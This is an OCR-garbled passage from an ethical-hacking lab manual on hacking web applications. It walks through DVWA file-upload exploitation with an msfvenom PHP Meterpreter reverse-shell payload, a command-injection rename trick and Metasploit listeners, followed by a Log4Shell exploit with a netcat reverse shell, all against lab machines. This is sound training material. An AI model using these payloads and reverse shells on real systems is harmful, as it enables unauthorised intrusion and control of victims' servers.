@) Applications Places System ) @
@ @ Vulnerability: File Uploac
¢J Vulnerability: File Uploa: X

< C' @ © %4 10.10.1.22 . we & & m o - =

") Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B Privacy [ Pentest £S5 Learn |

o)

i Vulnerability: File Upload

“"‘E"_’“““* Choose an image to upload:

Setup / Reset DB
Browse... No file selected.

Brute Force
Upload

Command Injection

CSRF

File Inclusion I
i More Information

68. Remove the browser proxy set up in Step 54 by selecting the No proxy radio-button in
the Connection Settings window and clicking OK. Close the tab.
@) Applications Places System Yo @
@

¢3 Vulnerability: File Uploa X | %% Preferences X
€= C @ &) Firefox about:preferencestisearchResults 7 i MO @

) Getting Started @ Start @) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy £5Pentest £5Learn |

Connection Settings

Configure Proxy Access to the Internet

e NDPFDH
Auto-detect proxy settings for this network
Use system proxy settings

Manual proxy configuration

Automatic proxy configuration URL

Help Cancel

) Preferences - MozillaF.. ™ Bu LI | | Iﬁn

69. Launch a Terminal window by clicking on the MATE Terminal icon at the top of
Desktop.
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70. In the terminal window, type sudo su and press Enter to run the programs as a root
user.

71. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: The password that you type will not be visible.
72. Now, type cd and press Enter to jump to the root directory.

73. In the Terminal window, type msfconsole and press Enter to launch the Metasploit
framework.

74. In msfconsole, type use exploit/multi/handler and press Enter to begin setting up the
listener.

75. You have to set up a listener so that you can establish a Meterpreter session with your
victim. Follow the steps given below to set up a listener using the msf command line:

* Type set payload php/meterpreter/reverse_tcp and press Enter
= Type set LHOST 10.10.1.13 and press Enter
= Type set LPORT 3333 and press Enter.

" Type run and press Enter to start the listener

Q) Applications Places System L) &2 a 9 O Wed Apr 20, 07:4(
N N msfconsole - Parrot Terminal

File View Search Jerminal Help

A D A & ip EE 5 L B P
! ||.I ! Irll! I |:-1

» msfconsole - Parrot Ter...
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76. Switch to the Mozilla Firefox window where the DVWA website is open. Open a new
tab, type http://10.10.1.22:8080/dvwa/hackable/uploads/medium.php into the
address bar and press Enter to execute the uploaded payload.

@) Applications Places System ) L |
@ @
¢J Vulnerability: File Ug X = New lab
X @ 10.10.1.22:801 | m 0O @ - s
) Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy 5 Pentest E5Learn |
1
o~ - R Lo . AR
(5 Search the Web
=% Top Sites v
. DA,
v 1 M ) ]
wpscan 10.10.1.22 mail.google minuteinbox parrotsec crypt.parrot
< Highlhights v
’ 2q .
VG >
wpscat joogle
WPScan: Wor... Gmail: Free, ...
t) Mozilla Firefox | 1 nmunit . | Parrot | Z* =9

77. Switch back to the Terminal window and observe that a Meterpreter session has
successfully been established with the victim system.
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In the meterpreter command line, type sysinfo and press Enter to view the system
details of the victim machine.

79.
30.

81.

82.

83.
84.

85.

File Edit View Search Terminal Help

= socket read($s, 4), break; } if (!$len) { die(); }

Close all open windows.

Launch a Terminal window by clicking on the MATE Terminal icon at the top of
Desktop.

In the terminal window, type sudo su and press Enter to run the programs as a root
user.

In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: The password that you type will not be visible.
Now, type cd and press Enter to jump to the root directory.

In the Terminal window, type msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP
Address of Host Machine] LPORT=2222 -f raw and press Enter.

Note: Here, the IP address of the host machine is 10.10.1.13 (Parrot Security machine).

The raw payload is generated in the terminal window. Select the payload, right-click on
it, and click Copy from the context menu to copy the payload, as shown in the
screenshot.

0 Applications Places 5Sysiem =) e . . 4 O Wed Apr 20, 07:5

A N msfvenom -p php/meterpreterfreverse_tcp LHOST=1( 0.10.1.13 LPORT=2222 -f raw - Parrot Terminal
rl
ittacker@parrot
S
SsuUdo s

i | i : =i : o _I_J | [ | r ] I i | . i | 5
IT=x | | 1 i | | ¥ 5 i " ¥ =N i % 4 L M= |
¥ d @ 1 |- ! ] ] i 1 B ! e Y - ] ']

/] .: 1111 by
<?php /**f error repurtlng{G). $ip = '10.10.1.13"'; $port = 2222; if (($f = 'stream socket client')

& is callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_ type:- 'stream'; } if (!$s && ($f = 'fsockop
') && is callable($f)) { $s = $f($ip, $port); $s type = 'stream'; } if (!$s & ($f = 'socket create

) & 1is callable($f)) { $s = $f(AF INET, SOCK STREAM, SOL TCP); $res = @socket connect($s, $1p. $por

); if ('$res) { die(); } $s type = 'socket’; } if (!$s type) { die('no socket funcs'); } if (!$s) {

4); break; case 'socket': $le

D ': $1EI'I), $1&I'l $a[ len’ ]r $
''; while (strlen($b) < $len) { switch ($s type) { clRLaUE: .= fread($s, $len-strlen($b))

break; case 'socket': $b .= socket read($s, $len- str' Close Window } $GLOBALS['msgsock'] = $s;

GLOBALS [ ‘'msgsock type'] = $s type; if (extension loade/. Ji 1 get('suhosin.executor.dis:

ie('no socket'); } switch ($s type) { case 'stream':

{ 2. Open Jerminal

le eval')) { $suhosin bypass=create function('', $b); |~ . |); } else { eval($b); } die();

t@parrot B Paste
#

Profiles

£4 Show Menubar
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Module 14 - Hacking Web Applications

86. Now, in the terminal window, type cd /home/attacker/Desktop/ and press Enter to
navigate to the Desktop.

87. Type pluma high.jpeg and press Enter to launch the Pluma text editor.

88. The Pluma text editor window appears; press Ctrl+V to paste the raw payload copied in
Step 85. Edit the payload file by adding GIF98 to the first line and then press Ctrl+S to
save the context.

termn ;) > (B
wols Documents Help
E] i:] Open v % ™ UNdo

W high,jpeg

Plain Text v Tab Width: 4 v Lnl, Col1 INS
® high.|peg (/home/attack.. 1@'!1

89. Close all open windows.

90. Click the Firefox icon from the top section of Desktop, type
http://10.10.1.22:8080/dvwa/login.php into the address bar and press Enter. The
DVWA login page appears. Log in with the credentials admin and password, and click
the Login button.

Note: If a Would you like Firefox to save this login notification appears at the top of the
browser window, click Don’t Save.

91. The Welcome to Damn Vulnerable Web Application! Page appears; click DVWA
Security in the left pane to view the DVWA security level.
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Module 14 - Hacking Web Applications

92. Change the Security Level from impossible to high by selecting High from the drop-
down list and clicking the Submit button, as shown in the screenshot.
) @ — © O Wed

@ .. LDIVAVWA Securib i_'.l'. I HNne Inie 'k",l_ =3 .':'-.. [ 1T, ation " YATY ;'1“ . 1{) " .' evelnoment” W Is Zill3 : Bl
¢J DVWA Security :: Damn X

“ G @ © & 10.10.1.22 . El = & % INn €0

) Getting Started @ Start ) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B Privacy E5Pentest B5Learn |

~
D\WA)

Home DVWA Security #

Instructions
Setup / Reset DB Security Level
Security level is currently: impossible
Brute Force
You can set the security level to low, medium, high or impossible. The security level changes the vulnerability

Command Injection level of DVWA:
CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
Eie Inchusion as an exampie of how web application vulnerabilities manifest through bad coding practices and to serve

as a platform to teach or learn basic exploitation technigues.
File Upload 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the

developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
Insecure CAPTCHA exploitation techniques.

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad

SQL Injection practices to attempt to secure the code. The vulnerability may not allow the same extent of the
SQl ti exploitation, similar in various Capture The Flags (CTFs) competitions.
ks Inj [Blll'll.'l]_ . 4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vuinerable
Weak Session IDs source code to the secure source code.

Prior to DVWA v1.9, this level was known as 'high’.
XSS (DOM)
XSS (Reflected) Fagn b SUDmS
XSS (Stored)

o - PHPIDS

PHP Info v0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

Y DVWA Security :: Damn... ]Q “

93. Click the File Upload option in the left pane. The Vulnerability: File Upload page
appears. Click the Browse... button to upload a file.

@) Applications Places System ) A
“ @ Vulnerability: File Upload

File Edit View History Bookmarks T
¢ Vulnerability: File Uploa: X -+

< C @ © /& 10.10.1.22 in O ® - =

) Getting Started @ Start §) Parrot OS @ Community @ Docs @ Git @ CryptPad | B3 Privacy E3Pentest B3 learn |

e Vulnerability: File Upload
— Choose an image to upload:
Setup / Reset DB
Browse.. No file selected.

Brute Force

: Upload
Command Injection
CSRF ¢ )
i More Information
Insecure CAPTCHA
SQL Injection
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94. The File Upload window appears. Navigate to the Desktop location, select the payload
file high.jpeg, and click Open.

't} Applications Places Systermrr ) >~ (B

cJ Vulnerability: File Uploa: X

& Gy
>

< ik attacker I Desktop

Getting S
Name v Size Type Modified

CEHv12 Module 14 Hacking Web Applications 06:36

© high.jpeg 1L1kB Image  11:55

8 medium.php.jpg 1.1kB Image 10:53
README.license 2.2kB Text 13 Apr 2021
Security_Script.html 1.1k8 lext

06:33

 upload.php .1kB Program 10:14

'll-._—:'.' N
ML eSS ™

1D Opep

E e o ]
'Y Vulnerability: File Uploa... |22 |'||

95. Observe that the selected file (high.jpeg) appears to the right of the Browse... button.

96. Now, click the Upload button to upload the file to the database.

Q) Applications Places Systemr ) >. (B
© @ Villnerahility: E :

¢J Vulnerability: File Uploa: X

& C @ © /& 10.10.1.22 s 9 52 i

@ w s

Getting Starte Start arrot OS Community 0CS it _ryptPad | B Privacy [ Pentest Learn
) Getting Started Start &) P 0S ' D Git CryptP BP y B3P t L

D\#A)

P Vulnerability: File Upload
e Choose an image to upload:
Setup / Reset DB
Browse... high.jpeg
Brute Force
Upload
Command Injection ‘
CSRF ;
T More Information
Insecure EA;'I:GH.A
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97. You will see a message saying that the file has been uploaded successfully, along with
the location of the uploaded file. Note down this location.
‘t) Applications Places Systermrr ) > (B

¢J Vulnerability: File Uploa: X

- G © & 10.10.1.22 TUN 7 M & n @ @®

") Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B Privacy 5 Pentest B lLearn |

)
o)

Vulnerability: File Upload

Home
Instructions

o

Setup / Reset DB

— o ——

Choose an image to upload:

Browse... No file selected.

Brute Force
Command Injection
CSRF

File Inclusion

Upload

.Jpeg succesfully uploaded!

| - More Information
Insecure CAPTCHA . _ .

SQL Injection

2L Injection (Blind

98. Now, click the Command Injection option in the left pane. The Vulnerability: Command
Injection window appears; in the Enter an IP address field, type |copy
C:\wamp64\www\DVWA\hackable\uploads\high.jpeg
C:\wamp64\www\DVWA\hackable\uploads\shell.php and click the Submit button.

@) Applications Places Systemr )~ B = 4 L) WedApr 20, 08:]
e e e e e s

¢J Vulnerability: Command X

“ G & © 44 10.10.1.22 LTI C7 0 + I @O ®

") Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy E5Pentest E3learn |

)
D\WA)

Vulnerability: Command Injection

Home
Instructions - .
Ping a device
Setup / Reset DB
Enter an |P address: 64www\DVWA\hackable\uploads\shell.php Submit
Brute Force

More Information
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99. Observe a message saying that the file has been copied, as shown in the screenshot.

@) Applications Places System &) 22 @ - e 4 L Wed Apr 20, 08:1:
@. L J Ly - - T A nd e g e S : o -, il - TTSY AT A 5 4 ™~ el e s Al =il Eirafs

¢J Vulnerability: Command X

& C @ © /& 10.10.1.22 v @ W N 0 ® -

") Getting Started @ Start &) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy [ Pentest Ejlearn |

)
o)

e Vulnerability: Command Injection
Setup / Reset DB

Ping a device

Enter an IP address: Submit

1 file(s) copied.

Brute Force

CSRF
File Inclusion More Information

File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind) h
Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

DVWA Securit

100.Launch a Terminal window by clicking on the MATE Terminal icon at the top of
Desktop.

101. A Parrot Terminal window appears. In the terminal window, type sudo su and press
Enter to run the programs as a root user.

102. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: The password that you type will not be visible.
103. Now, type cd and press Enter to jump to the root directory.

104. In the Terminal window, type msfconsole and press Enter to launch the Metasploit
framework.

105. In msfconsole, type use exploit/multi/handler and press Enter to begin setting up the
listener.

106. You have to set up a listener so that you can establish a Meterpreter session with your
victim. Follow the steps given below to set up a listener using the msf command line:

* Type set payload php/meterpreter/reverse_tcp and press Enter
= Typeset LHOST 10.10.1.13 and press Enter
= Type set LPORT 2222 and press Enter.

* Type run and press Enter to start the listener
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g un

| 14

> msfconsole - Parrot Ter.. |z2 n

107. Switch to the Mouzilla Firefox window where the DVWA website is open. Open a new
tab, type http://10.10.1.22:8080/dvwa/hackable/uploads/shell.php into the address
bar and press Enter to execute the uploaded payload.

.} Applications Places Sysiem ) o |
LA

¢J Vulnerability: Commal o « New Tab

X @ 10.10.1.22:8080/dvwa able/uploa mmoe@ - =

) Getting Started @ Start @) Parrot OS @ Community @ Docs @ Git @ CryptPad | B3 Privacy B3 Pentest EjLearn |

.1:}
(5 Sea
am TOp Sites v
Eﬁ{ﬂ‘x ‘ V
1 v M | ! Y
10.10.1.22 wpscan mail.google minuteinbox parrotsec crypt.parrot B
<» Highlights v
Cmt™ -
| JE
WPScan: Wor... Gmail: Free, ...
A
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Module 14 - Hacking Web Applications

108. Switch back to the Terminal window and observe that a Meterpreter session has
successfully been established with the victim system.

= = Ty 1 - |-= - : Y i ' '
- g I i 1 '
AW, il LeE | U 10. 109. 4

:‘115 -0400

109. In the meterpreter command line, type sysinfo and press Enter to view the system
details of the victim machine.

4) O Wed Apr 20, 08:2

T-|-.——. T - =
lerminal Help

»> msfconsole - Parrot Ter.. (Z* n

110. This concludes the demonstration of how to exploit a file upload vulnerability at
different security levels.

111. Close all open windows and document all acquired information.

112. Turn off the Windows Server 2022 virtual machine.
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Task 9: Gain Access by Exploiting Log4j Vulnerability

Log4j is an open-source framework that helps developers store various types of logs produced
by users. Log4j which is also known as Log4shell and Loglam is a zero-day RCE (Remote Code
Execution) vulnerability, tracked under CVE-2021-44228. Log4j enables insecure JNDI lookups,
when these JNDI lookups are paired with the LDAP protocol, can be exploited to exfiltrate data
or execute arbitrary code.

Here, we will gain backdoor access by exploiting Log4j vulnerability.

Note: Here, we will install a vulnerable application in the Ubuntu machine and use the Parrot
Security machine as the host machine to target the application.

Note: Ensure that the Parrot Security virtual machine is running.
1. Turn on the Ubuntu virtual machine.

2. Click to select Ubuntu account, in the Password field, type toor and press Enter to sign
In.

May 18 01:42 2 8 & v O

<2 Ubuntu

3. Inthe left pane, under Activities list, scroll down and click the Terminal icon to open the
Terminal window.

4. Now, type sudo su and hit Enter to gain super-user access. Ubuntu will ask for the
password; type toor as the password and hit Enter.
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5. First, we need to install docker.io in ubuntu machine, to do that type sudo apt-get
update and press Enter.

Activities -] Terminal May 18 01:44 11
[+1 root@ubuntu-Virtual-Machine: /home fubuntu

S sudo su

[sudo] password for ubuntu:

root@ubuntu-Virtual-Machine: /home/ubuntu# RISl iq

6. Once the update is completed, type sudo apt-get install docker.io and press Enter to
install docker.

Note: If a question appears Do you want to continue? type Y and press Enter.
Activities [ ] Terminal May 18 01:47 IO L]

[+] root@ubuntu-Virtual-Machine: /home fubuntu

e RaGIV I R TERTE Rk VR I - Tl R R TSN L ERAT T Rl s udo apt-get install docker.io

Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

The following packages were automatically installed and are no longer required:
app-install-data-partner cpp-9 gcc-10-base gcc-9-base girl.2-clutter-1.0 girl.2-clutter-gst-3.0
girl.2-cogl-1.0 girl.2-coglpango-1.0 girl.2-gnomebluetooth-1.0 giril.2-gtkclutter-1.0
gnome-getting-started-docs gnome-screenshot ippusbxd 1ibamtk-5-0 libamtk-5-common libasan5
Libboost-filesystem1.71.0 libboost-iostreams1.71.0 libboost-localel.71.0 libboost-threadl.71.0
Libbrlapi®.7 libcamel-1.2-62 libcbor®.6 libcdio18 libcmis-0.5-5v5 libdpkg-perl libedataserver-1.2-24
Libedataserverui-1.2-2 libfile-fcntllock-perl libfuse2 libgcc-9-dev libgupnp-1.2-0 libhandy-0.0-0
Libheimbasel-heimdal libhogweed5 libicu66 1libidnl1l libisl22 libjson-c4 1libjuh-java libjurt-java
Liblibreoffice-java libllvmi2 1liblua5.2-0 libmpdec2 libmysglclient21 libneon27-gnutls libnettle7
Libntfs-3g883 libobjc-9-dev libomp5-10 liborcus-0.15-0 libperl5.30 libphonenumber7 libpoppler97
Libprotobuf17 libpython3.8 libpython3.8-minimal libpython3.8-stdlib libqpdf26 librawil9
Libreoffice-style-tango libridl-java libroken18-heimdal libsane libsnmp35 libstdc++-9-dev
Libtepl-4-0 libtracker-control-2.0-0 libtracker-miner-2.0-0 libtracker-sparql-2.0-0
Libunoloader-java libvpx6 libwebp6 libwind0®-heimdal Llibwmf0.2-7 libxmlb1l
Linux-headers-5.13.0-40-generic linux-headers-generic-hwe-20.04 linux-hwe-5.13-headers-5.13.0-40
linux-image-5.13.0-40-generic linux-image-generic-hwe-20.064 linux-modules-5.13.0-40-generic
llvm-10-tools ltrace 1lz4 mysql-common perl-modules-5.30 popularity-contest python3-entrypoints
python3-requests-unixsocket python3-simplejson python3.8 python3.8-minimal syslinux syslinux-common
syslinux-legacy ure-java vino xul-ext-ubufox

Use 'sudo apt autoremove' to remove them.

The following additional packages will be installead:
bridge-utils containerd pigz runc ubuntu-fan

Suggested packages:
ifupdown aufs-tools btrfs-progs cgroupfs-mount | cgroup-lite debootstrap docker-doc rinse zfs-fuse
| zfsutils

The following NEW packages will be installed:
bridge-utils containerd docker.io pigz runc ubuntu-fan

© upgraded, 6 newly installed, © to remove and 8 not upgraded.

Need to get 65.3 MB of archives.

After this operation, 282 MB of additional disk space will be used.

Do you want to continue? [Y/n] Y

Get:1 http://us.archive.ubuntu.com/ubuntu jammy/universe amd64 pigz amd64 2.6-1 [63.6 kB]

Get:2 http://us.archive.ubuntu.com/ubuntu jammy/main amd64 bridge-utils amd64 1.7-1ubuntu3 [34.4 kB]

Get:3 http://us.archive.ubuntu.com/ubuntu jammy/main amd64 runc amd64 1.1.0-0ubuntul [4,087 kB]
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7. Once docker.io is successfully installed, type cd logdj-shell-poc/ and press Enter to
navigate to log4dj-shell-poc directory.

Activities -] Terminal May 18 01:49

[+1

root@ubuntu-Virtual-Machine: /home/ubuntu# [EGIESEELISINS ("]«
root@buntu-Virtual-Machine: /home/ubuntu/log4j-shell-poc#

root@ubuntu-Virtual-Machine: /home/ubuntu/log4dj-shell-poc

8. Now, we need to setup logdj vulnerable server, to do that type docker build -t log4j-
shell-poc . and press Enter.

Note: -t: specifies allocating a pseudo-tty.

Activities -] Terminal May 18 01:53 0

root@ubuntu-Virtual-Machine: /fhome/ubuntu/log4dj-shell-poc Q =

root@ubuntu-Virtual-Machine: /home/ubuntu# cd log4j-shell-poc
root@ubuntu-Virtual-Machine: /home/ubuntu/log4j-shell-poc# [sfslel {=uo1VR8 Ko R NoTo b Rt 0 1= M A+ [o T

Sending build context to Docker daemon
: FROM tomcat:8.0.36-jres8

Step 1/5

44 .48MB

8.0.36-jre8: Pulling from library/tomcat

8ad8b3f87b37:
751fe39c4d34:
bi165e84ccccl:
acfcc7cbc59b:
04b7a9efc4af:
bl6e55fe5285:
Bc5cbbB866b55:
96290882cd1b:
85852deeb719:
rff68baB87c7al:
584acdc953da:
cbed1c54bbdf:

41¥8389678fcS5:
Digest: sha256:e6d6
Status: Downloaded newer image for tomcat:8.0.36-jres8

---> 945050cf462d

Step 2/5

Pull
Pull
Pull
Pull
Pull
Pull
Pull
Pull
Pull
Pull
Pull
Pull
Pull

complete
complete
complete
complete
complete
complete
complete
complete
complete
complete
complete
complete
complete
67fbac9073af3f38c2d75e6195de6e7011bb9%e41757f391ebe35382ef8d0d

: RUN rm -rf Jusr/local/tomcat/webapps/*

--> Running in 3bcc7f74eaf5s
Removing intermediate container 3bcc7f74eaf5
---> 94568d5fd7f0

Step 3/5

---> 118adb9%9a7440

Step 4/5 :

: ADD target/log4shell-1.0-SNAPSHOT.war Jusr/local/tomcat/webapps/ROOT.war

EXPOSE 8080

---> Running in 1e39fdcOf356
Removing intermediate container 1e39fdcOf356
--> b311af695657

Step 5/5 :

CMD [ "catalina.sh”, "run” ]

---> Running in 51c3e9911d2d
Removing intermediate container 51c3e9911d2d
---> c4b86facB8ed5
Successfully built c4bB86fac8e05
Successfully tagged log4j-shell-poc:latest
root@ubuntu-Virtual-Machine: /home/ubuntu/log4j-shell-poc#
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9. Type docker run --network host log4dj-shell-poc and press Enter, to start the vulnerable

server.
Activities

[+1

-] Terminal

root@ubuntu-Virtual-Machine: /home/ubuntu/log4j-shell-poc

Module 14 -

Successfully tagged log4j-shell-poc:latest

e RGN R VR VA Nl T R L Y R R T AT TR T P A N E R B AR B o fe- W docker run --network host log4
18-May-2022 05:56:00.957 INFO [main] org.

n: Apache Tomcat/8.0.36

18-May-2022 05:56:00.959 INFO [main]

Jun 9 2016 13:55:50

18 May-2022 05:56:00.959 INFO [main]

8.0.36.0

18 May-2022 05:56:00.959 INFO [main]

Linux

18-May-2022 05:56:00.959 INFO [main]

5.15.0-30-generic

18-May-2022 05:56:00.960 INFO [main]

amdo4

18-May-2022 05:56:00.960 INFO [main]

Ulc

org
org.apache
org.apache
org.apache
org

org.apache

fusr/1ib/jvm/java-8-openjdk-amd64/ijre
18-May-2022 05:56:00.960 INFO [main] org.apache

1.8.0 102-8u102-b14.1-1~bpo8+1-b14

18-May-2022 05:56:00.960 INFO [main] org.apache.

Oracle Corporation

18 May-2022 05:56:00.961 INFO [main]

fusr/local /tomcat

18 May-2022 05:56:00.961 INFO [main]

fusr/local/tomcat

18 May-2022 05:56:00.961 INFO [main]
-Djava.util. logging.config.

18-May-2022 05:56:00.961 INFO [main]

argument:

argument:

e  argument:
%
%

argument:

argument:

org.apache

org.apache.

org.apache.

apache,

.apache.

.apache.

May 18 01:56 L}

catalina

catalina.

.catalina.

.catalina.

.catalina.

catalina.

.catalina.

.catalina.

catalina.

.catalina.

catalina.

catalina.

LR

.Startup.

startup

startup.

startup

startup.
startup.
startup.
startup.
startup.

startup.

startup

startup.

Hacking Web Applications

Q

VersionlLoggerlListener

.VersionLoggerlListener

VersionLoggerListener

.VersionLoggerListener.

VersionLoggerListener

VersionLoggerlListener.

VersionlLoggerlListener.

VersionLoggerListener

VersionlLoggerlListener.
VersionLoggerlListener.
.VersionlLoggerlListener.

VersionlLoggerListener.

file=/usr/local/tomcat/conf/logging.properties

org.apache.catalina.startup.VersionLoggerListener.
-Djava.util.logging.manager=org.apache. juli.ClassLoaderLogManager
18-May-2022 05:56:00.962 INFO [main] org.apache.catalina.startup.VersionlLoggerlListener.
-Djdk.tls.ephemeralDHKeySize=2048
18-May-2022 05:56:00.962 INFO [main] org.apache.catalina.startup.VersionLoggerlListener
-Djava.endorsed.dirs=/usr/local/tomcat/endorsed

18-May-2022 05:56:00.962 INFO [main] org.apache.catalina.startup.VersionLoggerListener.
-Dcatalina.base=/usr/local/tomcat

18-May-2022 05:56:00.962 INFO [main] org.apache.catalina.startup.VersionLoggerListener

argument:

argument:

-Dcatalina.home=/usr/local/tomcat
18-May-2022 05:56:00.962 INFO [main] org.apache.catalina.startup.VersionlLoggerListener.
-Djava.io.tmpdir=/usr/local/tomcat/temp

10. Leave the server running in the Ubuntu machine.

11. Switch to the Parrot Security virtual machine.

12. Click the Firefox icon at the top of Desktop, to open a browser window.

dLIONs

attacker's Home

README. license

<
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. Log
. Log

. Log

log

. Log

Log

log

. Log
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13. In the address bar of the browser, type http://10.10.1.9:8080 and press Enter.

@) Applications Places System ) B
© e
10.10.1.9:8080/ e T

< C @ © 4 10.10.19 e @ &

) Getting Started @ Start §) Parrot 0S @ Community & Docs @ Git @ CryptPad | B3 Privacy £ Pentest E5Learn |

Hello Again!

Welcome Back

GoFinance

The most popular peer to peer lending at SF@.

Forgot Password ?

Y} Mozilla Firefox |22 r‘

14. As we can observe that the Log4j vulnerable server is successfully running on the
Ubuntu machine, leave the Firefox and website open.

15. Click the MATE Terminal icon at the top of Desktop, to open a Terminal window.

16. A Parrot Terminal window appears. In the terminal window, type sudo su and press
Enter to run the programs as a root user.

17. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: The password that you type will not be visible.

18. Type cd logdj-shell-poc and press Enter, to enter into log4j-shell-poc directory.
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19. Now, we needed to install JDK 8, to do that open a new terminal window and type sudo
su and press Enter to run the programs as a root user.

20. In the [sudo] password for attacker field, type toor as a password and press Enter.
21. We need to extract JDK zip file which is already placed at /home/attacker location.

22. Type tar -xf jdk-8u202-linux-x64.tar.gz and press Enter, to extract the file.

Note: -xf: specifies extract all files.

23. Now we will move the jdk1.8.0 202 into /usr/bin/. To do that, type mv jdk1.8.0 202
Jusr/bin/ and press Enter.

.)AF’;:“.H:J-'J':HH Places Sy

) fusr/bin/ - Parrot Terminal
dit View Search

1a:d; ‘.—'l'{:f_:']i'_];'-t:"f 01

#ial xf jdk-8u202
@parrot _
gnv_jdk1.8.0 202 /usr/bin/

@parrot
u

24. Now, we need to update the installed JDK path in the poc.py file.

25. Navigate to the previous terminal window. In the terminal, type pluma poc.py and press
Enter to open poc.py file.
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26. In the poc.py file scroll down and in line 62, replace jdk1.8.0 20/bin/javac with
Jusr/bin/jdk1.8.0 202/bin/javac.

@) Applications Places Systemr

Python3 v Tab Width: 4 v Ln 62, Col 82

® *poc.py(/home/attack. KR m

27.Scroll  down to line 87 and replace jdk1.8.0 20/bin/java  with
Jusr/bin/jdk1.8.0 202/bin/java.

Q) Applications Places Syste ) . 8 |
o @ *poc.py (fhome/attacker/logd}-shell-poc) - Pluma (a¢
w3 P r:.:.i:, i J . " . il B ) e <\{ [

B *poc.py >

Python3 v Tab Width: 4 v Ln 87, Col 65

B *poc.py(/home/attack.. KR m
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28.Scroll  down to line 99 and replace jdk1.8.0 _20/bin/java  with
Jusr/bin/jdk1.8.0 202/bin/java.
@) Applications Places System ) > .

. - s i\
1l & L~ | w0 A
'T , '-|.|- | R

J Open

B *poc.py X

Python3 v Tab Width: 4 v Ln 99, Col 65 INS
® *poc.py (fhome/attack.. KR m

29. After making all the changes save the changes and close the poc.py editor window.

30. Now, open a new terminal window and type nc -lvp 9001 and press Enter, to initiate a
netcat listener as shown in screenshot.

.l'. Ta& T & ST !-II; Wk e T . N
.-"'.:...-5..-.5'..-..1.!'-_|||: FlaliCS

File  Edit  View

|"_"|..
e r@dpal
)
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31. Switch to previous terminal window and type python3 poc.py --userip 10.10.1.13 --
webport 8000 --lport 9001 and press Enter, to start the exploitation and create payload.

‘) Applications Places System ?) A d) O WedMay 18, 02:4¢
- Y s s i

N N python3 poc.py --userip 10.10.1.13 --webport 8000 --lport 9001 - Parrot Terminal

Edit View Search Terminal Help

acker@parrot
$sudo su

zpython3 poc.py rt 9001

32. Now, copy the payload generated in the send me: section.

0 Applications Places System ?) el _H'L
' 9 0 python3 poc.py --userip 10.10.1.13 --webport 8000 --Ilport 9001 - Parrot Terminal
File Edit View Search Terminal Help
ittacker@parrot
$sudo su
ido] password foi
@parrot
#Ccd Log4]
@parrot
#pluma po«
@parrot

#python3

> Open Terminal

Open Tab

Close Window

B} Paste

Profiles

&4 Show Menubar
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33. Switch to Firefox browser window, in Username field paste the payload that was copied
in previous step and in Password field type password and press Login button as shown
in the screenshot.

Note: In the Password field you can enter any password.

@) Applications Places System ) .
© o
10.10.1.9:8080/ e T

<« C' @ © /& 10.10.19 | we & n o ®

) Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy £ Pentest £5lLearn |

Hello Again!

Welcome Back

GoFinance

The most popular peer to peer lending at SEA

ldap://10.10.1.13:1389/a}

password &

Forgot Password 7

£} Mozilla Firefox > ; i - - LIS = mv|dkl.8.0_20 = | t T (22 "

34. Now switch to the netcat listener, you can see that a reverse shell is opened.

@) Applications Places System ) o @ _ 4 L Wed May 18, 02:51

CEH Lab Manual Page 1691 Ethical Hacking and Countermeasures Copyright © by EG-Gouncil
All Rights Reserved. Reproduction is Strictly Prohibited.




Module 14 - Hacking Web Applications

35. In the listener window type pwd and press Enter, to view the present working directory.

4 O WedMay 18, 02:5]

| View Search | erminal

ittackel f@i_]:"?.’ rot

SN Lvp Y960
'll - - e
" I' £ 1 | | I
| 1 1L 1 1

1 dny

View Search Terminal Help

Lial i-.-:'f'@i.].._lrf'l._,]t
lvn 9fA T

37. We can see that we have shell access to the target web application as a root user.

38. The Log4j vulnerability takes the payload as input and processes it, as a result we will
obtain a reverse shell.

39. This concludes the demonstration of how to gain backdoor access exploiting Log4j
vulnerability.

40. Close all open windows and document all acquired information.

41. Turn off the Parrot Security and Ubuntu virtual machines.

Lab Analysis

Analyze and document the results of this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS RELATED TO THIS LAB.

V] Yes 1 No
Platform Supported
V] Classroom V] CyberQ
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Detect Web Application Vulnerabilities using
Various Web Application Security Tools

Ethical hackers and pen testers are aided in the discovery of web application vulnerabilities with
the help of various tools that make the detection of web application vulnerabilities an easy task.

Lab Scenario

When talking about web applications, organizations consider security to be a critical
component, because web applications are a major source of attacks. Attackers try various
application-level attacks to compromise the security of web applications to commit fraud or
steal sensitive information.

Web application attacks, launched on port 80/443, go straight through the firewall, past the OS
and network-level security, and into the heart of the application, where corporate data resides.
Tailor-made web applications are often insufficiently tested, have undiscovered vulnerabilities,
and are, therefore, easy prey for hackers.

A professional ethical hacker or pen tester needs to determine whether their organization’s
website is secure, before hackers download sensitive data, commit crimes using the website as
a launchpad, or otherwise endanger the business. There are various web application security
assessment tools available to scan, detect, and assess the security and vulnerabilities of web
applications. These tools reveal the web application’s security posture and are used to find
ways to harden security and create robust web applications. These tools automate the process
of accurate web-app security assessment, thus enabling cybersecurity staff to protect their
business from impending hacker attacks!

The tasks in this lab will assist in discovering the underlying vulnerabilities and flaws in the
target web application.

Lab Objectives

